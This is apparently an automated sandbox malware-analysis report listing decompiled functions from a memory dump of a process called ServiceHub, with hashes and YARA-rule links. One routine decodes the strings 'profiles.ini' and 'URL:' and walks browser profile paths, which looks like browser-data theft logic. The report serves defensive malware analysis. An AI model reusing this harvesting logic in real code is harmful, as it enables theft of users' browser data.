                                          • Instruction ID: 752ff5f15a69d5f5a6e30882f573d047eb1d005904023605a3deedfcbc5f6063
                                          • Opcode Fuzzy Hash: 4f3d4ce0a081fc3392adb3a1b0c88d62f1a47c6b625de355985342774c730a51
                                          • Instruction Fuzzy Hash: 6FC02BB0164440FBD72D1F30CD10F147264F710E21F6403587330458F0D7289C00D100
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011B76E2 Relevance: .0, Instructions: 10COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 100%
                                          			E011B76E2(void* __ecx) {
				void* _t5;

				if(__ecx != 0 && ( *(__ecx + 0x20) & 0x00000040) == 0) {
					return L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, __ecx);
				}
				return _t5;
			}




                                          0x011b76e4
                                          0x00000000
                                          0x011b76f8
                                          0x011b76fd

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 779d3b12954878cff5fec068ca9c86adddf3072d6236c1739843d2e534c1de0a
                                          • Instruction ID: 813b090e1a2f9376c0688c5cfe58647d2971b3c6ff4d734b4fa88264ab516eff
                                          • Opcode Fuzzy Hash: 779d3b12954878cff5fec068ca9c86adddf3072d6236c1739843d2e534c1de0a
                                          • Instruction Fuzzy Hash: 70C08C701416C45AFB2E670CCE68B243A50AB58B08F88019CEA010D4E2C3A8AC02D608
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011C7D50 Relevance: .0, Instructions: 7COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 100%
                                          			E011C7D50() {
				intOrPtr* _t3;

				_t3 =  *((intOrPtr*)( *[fs:0x30] + 0x50));
				if(_t3 != 0) {
					return  *_t3;
				} else {
					return _t3;
				}
			}




                                          0x011c7d56
                                          0x011c7d5b
                                          0x011c7d60
                                          0x011c7d5d
                                          0x011c7d5d
                                          0x011c7d5d

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: d8f8299b16f752bf61d1185b43a99e53329511a2be3aa4238e34382007679d93
                                          • Instruction ID: adf721a51e1f165d75a423e410061f00a3a4fe43d40bc45735c65590de75ee0c
                                          • Opcode Fuzzy Hash: d8f8299b16f752bf61d1185b43a99e53329511a2be3aa4238e34382007679d93
                                          • Instruction Fuzzy Hash: 09B092353019418FCE5ADF18C080B2933E8BB44A40F8400D4E400CBA21D329E8008900
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011D2ACB Relevance: .0, Instructions: 5COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 100%
                                          			E011D2ACB() {
				void* _t5;

				return E011BEB70(_t5,  *((intOrPtr*)( *[fs:0x30] + 0x1c)));
			}




                                          0x011d2adc

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 15609d918e1561f37e97de8b3878496f5feb00f452f9af5c60cfc93e4e46d55a
                                          • Instruction ID: 23d1c5c4fac6b665213bcb3c4d1fd428fa6b98a02d46d49abd0902426c668903
                                          • Opcode Fuzzy Hash: 15609d918e1561f37e97de8b3878496f5feb00f452f9af5c60cfc93e4e46d55a
                                          • Instruction Fuzzy Hash: 11B01232C51441CFCF06EF40C750B997331FB00750F094490D00227930C328AC01CB40
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011E99D0 Relevance: .0, Instructions: 4COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 65b5b60b983a5fd66245ae060d3dde3537f1712f92c8581b32418a34401225dd
                                          • Instruction ID: 95fafae8a1dafb6ca252e76661a4874cceb4a7b66a77010d2140cc33cc7aeb8a
                                          • Opcode Fuzzy Hash: 65b5b60b983a5fd66245ae060d3dde3537f1712f92c8581b32418a34401225dd
                                          • Instruction Fuzzy Hash: 3A9002A121100042D508619955047160045A7E1241F52C01AA3145554CC6698C617165
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011E9820 Relevance: .0, Instructions: 4COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: e133e1fa5d015fb4ace419e392a6634b4a988cfd5c4bb4a168feaa5c4627d9b0
                                          • Instruction ID: 0522067c9e945edff6c1cec58357945bf891104348847acbf31906d03833577e
                                          • Opcode Fuzzy Hash: e133e1fa5d015fb4ace419e392a6634b4a988cfd5c4bb4a168feaa5c4627d9b0
                                          • Instruction Fuzzy Hash: 6990027124100402D545719955047160009B7D0281F92C01AA1415554EC7958A56BAA1
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011E98A0 Relevance: .0, Instructions: 4COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: c2e86de9709292aa8475fc3517b2401efe439ed42725bd6c566d80702b432353
                                          • Instruction ID: bd6120f1582fe274004ab51b7745f0e6de9d4fbdfd1c628514318a982bc2cd32
                                          • Opcode Fuzzy Hash: c2e86de9709292aa8475fc3517b2401efe439ed42725bd6c566d80702b432353
                                          • Instruction Fuzzy Hash: 6F90026130100402D506619955147160009E7D1385F92C01AE2415555DC7658953B172
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011E9B00 Relevance: .0, Instructions: 4COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: f63d37ee10fe709f373c8dba7efca54c1d78b733b8e292ea3aec2fdb7722f93e
                                          • Instruction ID: bd148b2a50e8a4b676c3891137e6ddf181be78adabc922104f148de8e5d74dde
                                          • Opcode Fuzzy Hash: f63d37ee10fe709f373c8dba7efca54c1d78b733b8e292ea3aec2fdb7722f93e
                                          • Instruction Fuzzy Hash: AC90026124100802D544719995147170006E7D0641F52C019A1015554DC756896576F1
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011E9A10 Relevance: .0, Instructions: 4COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 3b14118726b986ed148e82d0b7b1baa2c017a3f776fb1e694fe6558785b37abf
                                          • Instruction ID: 247a76ddfeabbb26dfbca9b0577455b0bcfc24b8b0a156c9a2b3518cb8d1da94
                                          • Opcode Fuzzy Hash: 3b14118726b986ed148e82d0b7b1baa2c017a3f776fb1e694fe6558785b37abf
                                          • Instruction Fuzzy Hash: 8590027120140402D504619959087570005A7D0342F52C019A6155555EC7A5C8917571
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011E9A00 Relevance: .0, Instructions: 4COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 7f4209d85618cb6db75981f72d8411fd97df094e79776cb333067c532bbf556a
                                          • Instruction ID: 95cf5ce118c0a625db5cc3c7e990028ea16502289cdb76a68978fb1d6b4a3d54
                                          • Opcode Fuzzy Hash: 7f4209d85618cb6db75981f72d8411fd97df094e79776cb333067c532bbf556a
                                          • Instruction Fuzzy Hash: AF90027120140402D5046199591471B0005A7D0342F52C019A2155555DC765885175B1
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011E9A80 Relevance: .0, Instructions: 4COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: e18e00ede342ee272e80dd563bf1487ef4aa4e7299620a63f55a4586ece9e6e3
                                          • Instruction ID: 2bb664ff1d0409d8dd3e0c2890b46a4f2c753367e7359714ff5266070797dcfd
                                          • Opcode Fuzzy Hash: e18e00ede342ee272e80dd563bf1487ef4aa4e7299620a63f55a4586ece9e6e3
                                          • Instruction Fuzzy Hash: B690026120144442D54462995904B1F4105A7E1242F92C01DA5147554CCA5588557761
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011E9520 Relevance: .0, Instructions: 4COMMONLIBRARYCODE
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 0dc2d2e65763720550c8f1c2a41d089d2919bd2348e5b5a21649dc1e87f54c02
                                          • Instruction ID: 034b172b5f0cf3a7dbb656b395a27847256332f3447d8ee305162c68028d6fea
                                          • Opcode Fuzzy Hash: 0dc2d2e65763720550c8f1c2a41d089d2919bd2348e5b5a21649dc1e87f54c02
                                          • Instruction Fuzzy Hash: 0F9002E1201140924904A2999504B1A4505A7E0241B52C01EE2045560CC6658851B175
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011E9560 Relevance: .0, Instructions: 4COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: ae1440722245a1cfbe6139e847b825dc154a737f4bb044c0a965cd9d56c33cb0
                                          • Instruction ID: 7911196798ee0566ebd7cee1ea3421854c7e245b531391da2ab63dfe0907f85a
                                          • Opcode Fuzzy Hash: ae1440722245a1cfbe6139e847b825dc154a737f4bb044c0a965cd9d56c33cb0
                                          • Instruction Fuzzy Hash: 1B900265221000020549A599170461B0445B7D6391392C01DF2407590CC76188657361
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011E95F0 Relevance: .0, Instructions: 4COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 9e25bad3f5a137081aaa4b90b7ecb79a83cc7bcbc54c7fc98a6070fbfb832a75
                                          • Instruction ID: 4f51d95a6b19cb3030c8e83a815d9f4a2d9d5ea06229681b845355b0dab7be4b
                                          • Opcode Fuzzy Hash: 9e25bad3f5a137081aaa4b90b7ecb79a83cc7bcbc54c7fc98a6070fbfb832a75
                                          • Instruction Fuzzy Hash: E590027120100802D508619959047960005A7D0341F52C019A7015655ED7A588917171
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011E9710 Relevance: .0, Instructions: 4COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 0c615a4349b889badf08b33e89ccc20ac398cefa16a210cb78ef9b2e02122b40
                                          • Instruction ID: 8c493a0f8d1b97ea437743bcdfaf871daf19483eaee92a6de2bb847695b75bf3
                                          • Opcode Fuzzy Hash: 0c615a4349b889badf08b33e89ccc20ac398cefa16a210cb78ef9b2e02122b40
                                          • Instruction Fuzzy Hash: 9A90027120100402D50465D965087560005A7E0341F52D019A6015555EC7A588917171
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011EA710 Relevance: .0, Instructions: 4COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 4717688fac440555e6290b8d2309d42c2326828917a1e5b446f7977f2331533f
                                          • Instruction ID: e673d3e3be050eb20ed1b737a98507aab27cda0069713f88ae8201e2b14a7156
                                          • Opcode Fuzzy Hash: 4717688fac440555e6290b8d2309d42c2326828917a1e5b446f7977f2331533f
                                          • Instruction Fuzzy Hash: E0900271301000529904A6D96904B5A4105A7F0341B52D01DA5005554CC69488617161
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011E9730 Relevance: .0, Instructions: 4COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: e7aa96147ab9958ca0415f440af457027b12da4c572e1f7187db4efbe10917aa
                                          • Instruction ID: d28106f2b462aee28ce7e386e5e3417106b657f9520a1fcfbf83913c44bf82b0
                                          • Opcode Fuzzy Hash: e7aa96147ab9958ca0415f440af457027b12da4c572e1f7187db4efbe10917aa
                                          • Instruction Fuzzy Hash: 2290026160500402D544719965187160015A7D0241F52D019A1015554DC7998A5576E1
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011E9770 Relevance: .0, Instructions: 4COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: b9a6ee4897f7201b6006c1d9760514a3b49ad591e6bac0c647c6297e55408fba
                                          • Instruction ID: 0bdc83bdc8a9d1800639a20c88118b726102b659f17baae2017a257df8634309
                                          • Opcode Fuzzy Hash: b9a6ee4897f7201b6006c1d9760514a3b49ad591e6bac0c647c6297e55408fba
                                          • Instruction Fuzzy Hash: 1490026120504442D50465996508B160005A7D0245F52D019A2055595DC7758851B171
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011EA770 Relevance: .0, Instructions: 4COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: f9f3ae2d37a1926831d0e69000469f53703e028537a943e5251fec781c8a2571
                                          • Instruction ID: be646077a1dd270907a5c0bce4b874f036da254e1fe2e510448f7384c9e9c39c
                                          • Opcode Fuzzy Hash: f9f3ae2d37a1926831d0e69000469f53703e028537a943e5251fec781c8a2571
                                          • Instruction Fuzzy Hash: 2A90027520504442D90465996904B970005A7D0345F52D419A141559CDC7948861B161
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011E9760 Relevance: .0, Instructions: 4COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: d60660b2c0d672f820e426bd55ebcf9671fafc7d72a3653f0d05aeb9f1eae425
                                          • Instruction ID: 8fb906e0dd1b2a437bba58ec860b32d044f26b6b857c0db57e0d3c7769078214
                                          • Opcode Fuzzy Hash: d60660b2c0d672f820e426bd55ebcf9671fafc7d72a3653f0d05aeb9f1eae425
                                          • Instruction Fuzzy Hash: E290027120100403D504619966087170005A7D0241F52D419A1415558DD79688517161
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011E9610 Relevance: .0, Instructions: 4COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: f73ba956186b7894e25c02bbfd35c6ffd53610b331bae97311c4b88275a436f1
                                          • Instruction ID: 53efff8b72ce28dcdd20f2583519b6c851ba1ec750aab212ce27cc7e9d6e0ae7
                                          • Opcode Fuzzy Hash: f73ba956186b7894e25c02bbfd35c6ffd53610b331bae97311c4b88275a436f1
                                          • Instruction Fuzzy Hash: 4D90027160500802D554719955147560005A7D0341F52C019A1015654DC7958A5576E1
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011E9650 Relevance: .0, Instructions: 4COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 945d15975812eb245fb6592bb9c38b404d98ef0e3d2937653ac690c523d6fa05
                                          • Instruction ID: 960f46d911a4b3ec65857f4019a7a0a544af05cf1489d47e722a7681fdeaaeab
                                          • Opcode Fuzzy Hash: 945d15975812eb245fb6592bb9c38b404d98ef0e3d2937653ac690c523d6fa05
                                          • Instruction Fuzzy Hash: E290027120504842D54471995504B560015A7D0345F52C019A1055694DD7658D55B6A1
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011E96D0 Relevance: .0, Instructions: 4COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: eeac08bc6970dadde5fc20cc8b485561af8ca89cfaa24d1aed3890b4dbb71b0c
                                          • Instruction ID: e011b176f19ab1b31693fb92e96d3f8534fc7e192535a2868c05c81a1ca57c66
                                          • Opcode Fuzzy Hash: eeac08bc6970dadde5fc20cc8b485561af8ca89cfaa24d1aed3890b4dbb71b0c
                                          • Instruction Fuzzy Hash: 3290027120100842D50461995504B560005A7E0341F52C01EA1115654DC755C8517561
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011E9670 Relevance: .0, Instructions: 2COMMONLIBRARYCODE
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
                                          • Instruction ID: 1881756272155ee7d6e53eb2cc59c1d187cb4bf36c53dbc8b5cf57c5e5622b83
                                          • Opcode Fuzzy Hash: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
                                          • Instruction Fuzzy Hash:
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 004170F3 Relevance: 16.0, APIs: 1, Strings: 8, Instructions: 215COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 97%
                                          			E004170F3(void* __eflags, intOrPtr _a4, intOrPtr _a8, char _a12) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				char _v24;
				short _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				char _v52;
				char _v53;
				short _v55;
				short _v59;
				short _v63;
				short _v67;
				short _v71;
				short _v75;
				short _v79;
				short _v83;
				char _v84;
				char _v85;
				short _v87;
				char _v91;
				char _v95;
				char _v99;
				char _v103;
				char _v107;
				char _v111;
				char _v115;
				char _v116;
				void* __ebx;
				void* __esi;
				void* _t109;
				signed int _t110;
				short* _t111;
				short* _t116;
				short* _t117;
				short* _t122;
				void* _t124;
				intOrPtr _t133;
				short* _t146;
				void* _t158;
				intOrPtr* _t159;
				void* _t160;
				void* _t161;
				void* _t162;
				void* _t163;
				void* _t164;
				void* _t165;

				_t167 = __eflags;
				_t133 = _a4;
				_push(4);
				_v24 = 0x52550a0d;
				_v20 = 0x203a4c;
				_v52 = 0x720070;
				_v48 = 0x66006f;
				_v44 = 0x6c0069;
				_v40 = 0x730065;
				_v36 = 0x69002e;
				_v32 = 0x69006e;
				_v28 = 0;
				_v84 = 0;
				_v83 = 0;
				_v79 = 0;
				_v75 = 0;
				_v71 = 0;
				_v67 = 0;
				_v63 = 0;
				_v59 = 0;
				_v55 = 0;
				_v53 = 0;
				E004101C3(_t133, _t158, __eflags, _t133,  &_v84, 0x15);
				_push(4);
				_v116 = 0;
				_v115 = 0;
				_v111 = 0;
				_v107 = 0;
				_v103 = 0;
				_v99 = 0;
				_v95 = 0;
				_v91 = 0;
				_v87 = 0;
				_v85 = 0;
				E004101C3(_t133, _t158, _t167, _t133,  &_v116, 0x14);
				_t33 =  &_a12; // 0x203a4c
				_t159 =  *_t33;
				_t157 = _t159 + 0x6c;
				E00410253(_t133, _t159, _t167, _t133, _t159 + 0x6c, 3, 0);
				_t161 = _t160 + 0x30;
				_t168 =  *_t159 - 0x32;
				if( *_t159 == 0x32) {
					E00410253(_t133, _t159, _t168, _t133, _t159 + 0x6c + E00422FD3(_t157) * 2, 0x13, 1);
					_t161 = _t161 + 0x14;
				}
				 *((short*)(_t159 + 0x6e + E00422FD3(_t157) * 2)) = 0;
				 *((short*)(_t159 + 0x6c + E00422FD3(_t157) * 2)) = 0x5c;
				E00423143(_t157, _a8, 0);
				E00423143(_t157,  &_v52, 0);
				_v12 = E00422FD3(_t157) - 4;
				E004215A3(_t133, _t159 + 0x6b78, 0x1000, _t157);
				 *((short*)(_a8 + E00422FD3(_a8) * 2 - 2)) = 0;
				_v16 = E00418A23(_t133, 0, 1, _a8,  *_t159);
				_t162 = _t161 + 0x4c;
				_a12 = _t159 + 0x6b78;
				do {
					_t56 =  &_a12; // 0x203a4c
					_v8 = 0;
					_t109 = E00422FF3( *_t56,  &_v52, 0xe);
					_t163 = _t162 + 0xc;
					if(_t109 == 0) {
						goto L14;
					}
					_t59 =  &_a12; // 0x203a4c
					E004215E3(_t133,  *_t59, _t159 + 0x4c, 0, _t159 + 0x4970, 0x104, _t157);
					_t116 = _t159 + 0x4970;
					_t164 = _t163 + 0x1c;
					if( *_t116 == 0x2f) {
						L8:
						_t117 = _t159 + 0x4970 + _v8 * 2;
						_v8 = _t117;
						 *_t117 = 0x5c;
						E004233F3(_t159 + 0x486c, _t157);
						_t74 = _t159 + 0x486c; // 0x6848c0
						E004233F3(_v12 + _t74, _v8);
						_t122 =  *((intOrPtr*)(_t133 + 0x6ac));
						_t165 = _t164 + 0x10;
						if(_t122 != 0 &&  *_t122 == 0) {
							E00423443(_t122, _t159 + 0x486c);
							_t165 = _t165 + 8;
						}
						if(_v16 == 0) {
							break;
						} else {
							_t124 =  *((intOrPtr*)( *((intOrPtr*)(_t159 + 0x10))))(_t159 + 0x486c);
							_t163 = _t165 + 4;
							_t177 = _t124;
							if(_t124 == 0) {
								_t83 =  &_v24; // 0x52550a0d
								E00416E03(_t177, _t133, _a8, _t159, _t83,  &_v116,  &_v84);
								_t163 = _t163 + 0x18;
								 *((intOrPtr*)( *((intOrPtr*)(_t159 + 0x18))))();
							}
							goto L14;
						}
					}
					_t146 = _t116;
					while( *_t146 != 0) {
						_v8 = _v8 + 1;
						_t116 = _t116 + 2;
						_t146 = _t116;
						if( *_t116 != 0x2f) {
							continue;
						}
						goto L8;
					}
					goto L8;
					L14:
					_t85 =  &_a12; // 0x203a4c
					_t110 = E00422FD3( *_t85);
					_t86 =  &_a12; // 0x203a4c
					_t111 =  *_t86 + 2 + _t110 * 2;
					_t162 = _t163 + 4;
					_a12 = _t111;
				} while ( *_t111 != 0);
				return 0;
			}






















































                                          0x004170f3
                                          0x004170fa
                                          0x00417101
                                          0x0041710a
                                          0x00417111
                                          0x00417118
                                          0x0041711f
                                          0x00417126
                                          0x0041712d
                                          0x00417134
                                          0x0041713b
                                          0x00417142
                                          0x00417146
                                          0x00417149
                                          0x0041714c
                                          0x0041714f
                                          0x00417152
                                          0x00417155
                                          0x00417158
                                          0x0041715b
                                          0x0041715e
                                          0x00417162
                                          0x00417165
                                          0x0041716c
                                          0x00417175
                                          0x00417179
                                          0x0041717c
                                          0x0041717f
                                          0x00417182
                                          0x00417185
                                          0x00417188
                                          0x0041718b
                                          0x0041718e
                                          0x00417192
                                          0x00417195
                                          0x0041719a
                                          0x0041719a
                                          0x004171a1
                                          0x004171a6
                                          0x004171ab
                                          0x004171ae
                                          0x004171b1
                                          0x004171c6
                                          0x004171cb
                                          0x004171cb
                                          0x004171d7
                                          0x004171e6
                                          0x004171f2
                                          0x004171fe
                                          0x0041720d
                                          0x0041721d
                                          0x00417230
                                          0x00417242
                                          0x0041724b
                                          0x0041724e
                                          0x00417253
                                          0x00417253
                                          0x0041725d
                                          0x00417264
                                          0x00417269
                                          0x0041726e
                                          0x00000000
                                          0x00000000
                                          0x00417274
                                          0x0041728c
                                          0x00417291
                                          0x00417297
                                          0x0041729e
                                          0x004172b7
                                          0x004172ba
                                          0x004172c6
                                          0x004172c9
                                          0x004172d4
                                          0x004172e0
                                          0x004172e8
                                          0x004172ed
                                          0x004172f3
                                          0x004172f8
                                          0x00417308
                                          0x0041730d
                                          0x0041730d
                                          0x00417314
                                          0x00000000
                                          0x00417316
                                          0x00417320
                                          0x00417322
                                          0x00417325
                                          0x00417327
                                          0x00417334
                                          0x0041733b
                                          0x00417343
                                          0x00417346
                                          0x00417346
                                          0x00000000
                                          0x00417327
                                          0x00417314
                                          0x004172a0
                                          0x004172a3
                                          0x004172a9
                                          0x004172ac
                                          0x004172b3
                                          0x004172b5
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x004172b5
                                          0x00000000
                                          0x00417348
                                          0x00417348
                                          0x0041734c
                                          0x00417351
                                          0x00417354
                                          0x00417358
                                          0x0041735f
                                          0x0041735f
                                          0x00417370

                                          APIs
                                          • GetFirmwareEnvironmentVariableExW.KERNEL32 ref: 004171DC
                                          Strings
                                          Memory Dump Source
